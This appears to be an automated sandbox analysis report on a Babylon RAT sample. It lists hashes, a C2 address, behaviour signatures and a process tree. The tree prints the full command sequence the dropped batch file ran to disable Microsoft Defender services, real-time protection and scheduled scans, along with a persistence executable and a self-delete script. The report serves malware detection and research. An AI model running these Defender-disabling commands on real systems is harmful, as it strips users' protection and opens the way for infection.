Analysis

  • max time kernel
    146s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240319-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 03:00

General

  • Target
    cbc5c9ebce50216b6f5ef73e545b317b86e20423212f29733b5d032596be00eb.exe
  • Size 10.2MB
  • Sample240409-dht67sce65
  • SHA256 cbc5c9ebce50216b6f5ef73e545b317b86e20423212f29733b5d032596be00eb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • babylonrat

C2
  • 175.209.69.173

Signatures

  • Babylon RAT

    Babylon RAT is remote access trojan written in C++.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cbc5c9ebce50216b6f5ef73e545b317b86e20423212f29733b5d032596be00eb.exe
    "C:\Users\Admin\AppData\Local\Temp\cbc5c9ebce50216b6f5ef73e545b317b86e20423212f29733b5d032596be00eb.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Def_off.cmd" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Windows\SysWOW64\sc.exe
        sc config Sense start= disabled
        3⤵
        • Launches sc.exe
        PID:920
      • C:\Windows\SysWOW64\net.exe
        net stop Sense
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop Sense
          4⤵
            PID:4240
        • C:\Windows\SysWOW64\sc.exe
          sc config WdFilter start= disabled
          3⤵
          • Launches sc.exe
          PID:4376
        • C:\Windows\SysWOW64\net.exe
          net stop WdFilter
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop WdFilter
            4⤵
              PID:3272
          • C:\Windows\SysWOW64\sc.exe
            sc config WdNisSvc start= disabled
            3⤵
            • Launches sc.exe
            PID:2992
          • C:\Windows\SysWOW64\net.exe
            net stop WdNisSvc Track
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5080
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop WdNisSvc Track
              4⤵
                PID:4584
            • C:\Windows\SysWOW64\sc.exe
              sc config WinDefend start= disabled
              3⤵
              • Launches sc.exe
              PID:3824
            • C:\Windows\SysWOW64\net.exe
              net stop WinDefend
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2724
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop WinDefend
                4⤵
                  PID:1940
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKLM\System\CurrentControlSet\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f
                3⤵
                  PID:1324
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                  3⤵
                    PID:2348
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                    3⤵
                      PID:2492
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                      3⤵
                      • Modifies security service
                      PID:2772
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                      3⤵
                        PID:4828
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                        3⤵
                          PID:3324
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                          3⤵
                            PID:2616
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                            3⤵
                              PID:4240
                            • C:\Windows\SysWOW64\reg.exe
                              reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                              3⤵
                                PID:1760
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:1812
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
                                  3⤵
                                  • Modifies Windows Defender Real-time Protection settings
                                  PID:3512
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
                                  3⤵
                                  • Modifies Windows Defender Real-time Protection settings
                                  PID:4608
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                  3⤵
                                  • Modifies Windows Defender Real-time Protection settings
                                  PID:2220
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
                                  3⤵
                                  • Modifies Windows Defender Real-time Protection settings
                                  PID:4376
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:3672
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d 0 /f
                                    3⤵
                                      PID:4404
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d 0 /f
                                      3⤵
                                        PID:2992
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d 0 /f
                                        3⤵
                                          PID:3856
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                          3⤵
                                            PID:3348
                                        • C:\Users\Admin\AppData\Local\Temp\oracleserver.exe
                                          "C:\Users\Admin\AppData\Local\Temp\oracleserver.exe"
                                          2⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3176
                                          • C:\ProgramData\OracleInc\oracleserver.exe
                                            "C:\ProgramData\OracleInc\oracleserver.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious behavior: GetForegroundWindowSpam
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of SetWindowsHookEx
                                            PID:2772
                                            • C:\ProgramData\OracleInc\oracleserver.exe
                                              "C:\ProgramData\OracleInc\oracleserver.exe" 2772
                                              4⤵
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2336
                                        • C:\Windows\SysWOW64\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\del.vbs"
                                          2⤵
                                            PID:3152
                                        • C:\Windows\system32\OpenWith.exe
                                          C:\Windows\system32\OpenWith.exe -Embedding
                                          1⤵
                                          • Modifies registry class
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1992
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          1⤵
                                            PID:1760
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                            1⤵
                                              PID:5080
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4104 --field-trial-handle=2228,i,8155065313278028490,17854605419281052753,262144 --variations-seed-version /prefetch:8
                                              1⤵
                                                PID:5980

                                              Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

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                                                    Downloads

                                                    Def_off.cmd

                                                    • Path C:\Users\Admin\AppData\Local\Temp\Def_off.cmd
                                                    • Size 2KB
                                                    • SHA256 75dacc04526bcc4f5e3a31109a1a5c534082b72df6824f8498b24849aba2e655
                                                    • MD5 SHA1 SHA512

                                                    del.vbs

                                                    • Path C:\Users\Admin\AppData\Local\Temp\del.vbs
                                                    • Size 644B
                                                    • SHA256 71f5befbd43a1f3c242650c24f36618bea541d09cb733eeffeb81353cb861380
                                                    • MD5 SHA1 SHA512

                                                    oracleserver.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\oracleserver.exe
                                                    • Size 10.1MB
                                                    • SHA256 73321634971c0494584f0698de2021ca46432d9ade7ca062046b8d03633b6c17
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    memory/2336-41-0x00000000007C0000-0x00000000017EA000-memory.dmp

                                                    memory/2336-46-0x00000000007C0000-0x00000000017EA000-memory.dmp

                                                    memory/2336-42-0x00000000007C0000-0x00000000017EA000-memory.dmp

                                                    memory/2336-40-0x0000000001D10000-0x0000000001D11000-memory.dmp

                                                    memory/2772-45-0x00000000007C0000-0x00000000017EA000-memory.dmp

                                                    memory/2772-34-0x0000000001C50000-0x0000000001C51000-memory.dmp

                                                    memory/2772-36-0x00000000007C0000-0x00000000017EA000-memory.dmp

                                                    memory/2772-35-0x00000000007C0000-0x00000000017EA000-memory.dmp

                                                    memory/3176-23-0x0000000000360000-0x000000000138A000-memory.dmp

                                                    memory/3176-33-0x0000000000360000-0x000000000138A000-memory.dmp

                                                    memory/3176-26-0x0000000000360000-0x000000000138A000-memory.dmp

                                                    memory/3176-22-0x00000000013F0000-0x00000000013F1000-memory.dmp